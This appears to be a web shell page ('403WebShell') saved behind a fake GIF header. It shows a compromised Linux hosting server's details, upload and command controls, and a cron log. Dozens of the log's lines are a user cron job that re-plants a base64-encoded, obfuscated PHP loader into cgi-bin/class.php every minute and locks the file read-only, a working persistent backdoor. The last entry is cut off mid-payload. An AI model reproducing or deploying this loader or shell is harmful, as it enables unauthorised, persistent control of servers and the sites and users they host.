GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1160.144.1.el7.tuxcare.els5.x86_64 #1 SMP Wed May 13 12:31:54 UTC 2026 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/cron-20260913
Sep  6 04:03:44 server run-parts(/etc/cron.daily)[18906]: finished logrotate
Sep  6 04:03:44 server run-parts(/etc/cron.daily)[27636]: starting maldet
Sep  6 04:04:01 server CROND[19435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:04:01 server CROND[19436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:04:01 server CROND[19437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:05:01 server CROND[19817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:05:01 server CROND[19821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:05:01 server CROND[19823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:05:01 server CROND[19822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:05:01 server CROND[19831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:05:01 server CROND[19832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:05:01 server CROND[19829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:05:01 server CROND[19830]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:06:01 server CROND[20760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:06:01 server CROND[20761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:06:01 server CROND[20762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:07:01 server CROND[21138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:07:01 server CROND[21139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:07:01 server CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:07:04 server run-parts(/etc/cron.daily)[22572]: finished maldet
Sep  6 04:07:04 server run-parts(/etc/cron.daily)[27636]: starting man-db.cron
Sep  6 04:07:04 server run-parts(/etc/cron.daily)[22652]: finished man-db.cron
Sep  6 04:07:04 server anacron[19815]: Job `cron.daily' terminated
Sep  6 04:07:04 server anacron[19815]: Normal exit (1 job run)
Sep  6 04:08:01 server CROND[23291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:08:01 server CROND[23292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:08:01 server CROND[23293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:09:01 server CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 04:09:01 server CROND[23659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:09:01 server CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:09:01 server CROND[23660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:10:01 server CROND[24055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:10:01 server CROND[24056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:10:01 server CROND[24060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:10:01 server CROND[24059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:10:01 server CROND[24073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:10:01 server CROND[24075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:10:01 server CROND[24072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:10:01 server CROND[24076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:11:01 server CROND[24991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:11:01 server CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:11:01 server CROND[24993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:12:01 server CROND[25372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:12:01 server CROND[25374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN